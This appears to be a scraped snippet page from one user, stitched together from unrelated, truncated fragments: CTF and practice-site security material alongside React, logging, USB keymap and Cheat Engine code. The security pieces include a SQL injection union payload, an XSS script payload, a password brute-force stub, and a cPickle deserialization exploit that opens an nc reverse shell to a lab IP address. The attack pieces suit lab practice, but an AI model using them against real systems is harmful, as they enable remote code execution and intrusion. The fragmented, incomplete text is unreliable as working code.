ciel334288

import sys, os
from requests import get
from queue import Queue
from threading import Thread

pwd_l=Queue()
NTHREADS=30
URL = 'http://www.zixem.altervista.org/SQLi/login_do.php?pass='
ERRMSG='Wrong pass.'

ciel334288

XSS Challenges by @y0n3uchy

https://xss.shift-js.info

CSP Disabled (Easy .. Mid)

Case 01: Simple XSS 1

ciel334288

import cPickle, os
from requests import post
from hashlib import md5

host='10.10.14.173'
port=443

class expl(object):                     
	def __reduce__(self):
            return (os.system,('echo bart; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'%(host,port), ))

ciel334288

SQLi Challenges from zixem.altervista.org

Level 1 Super Easy

http://www.zixem.altervista.org/SQLi/level1.php?id=2 or 2=3 union select 1,concat(database(),user(),version()),3--

Level 2 Easy

ciel334288

# USB HID keyboard/keypad: http://www.usb.org/developers/hidpage/Hut1_12v2.pdf
keys={	'04':'a',
      	'05':'b',
        '06':'c',
        '07':'d',
        '08':'e',
        '09':'f',
        '0a':'g',
        '0b':'h',
        '0c':'i',

ciel334288

XSS Challenges from zixem.altervista.org

Level 1

http://www.zixem.altervista.org/XSS/1.php?name=<script>alert(1337)</script>

Level 2

ciel334288

import React, { useState, useEffect, useCallback } from 'react';
import { debounce } from "lodash";

export default function Cz() {
  const delay = 3000;
  const [queryParams, setQueryParams] = useState({ search_field: '' });
  
  const delayedQuery = useCallback(debounce(() => {
      alert(1); // debounced func
  }, delay), [queryParams]);

ciel334288

<?xml version="1.0" encoding="utf-8"?>
<CheatTable CheatEngineTableVersion="34">
  <CheatEntries>
    <CheatEntry>
      <ID>1</ID>
      <Description>"Game Base Addr"</Description>
      <LastState Value="9460301" RealAddress="140000000"/>
      <ShowAsSigned>0</ShowAsSigned>
      <VariableType>4 Bytes</VariableType>
      <Address>getAddress('NARUTO-Win64-Shipping.exe')</Address>

ciel334288

import React, { useEffect } from 'react';
import dynamic from 'next/dynamic';
...
let OwlCarousel;

const MyComponent = () => { 
  ...
  useEffect(() => {
    if (typeof(window) !== "undefined") OwlCarousel = dynamic(import('react-owl-carousel'));
    

ciel334288

import os,\
       logging

logger = logging.getLogger(__name__)
logger.setLevel(logging.ERROR)
LOGS = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'logs')

filehandler = logging.FileHandler(os.path.join(LOGS, 'main.log'), mode='a')
formatter = logging.Formatter('%(asctime)s : %(name)s : %(message)s')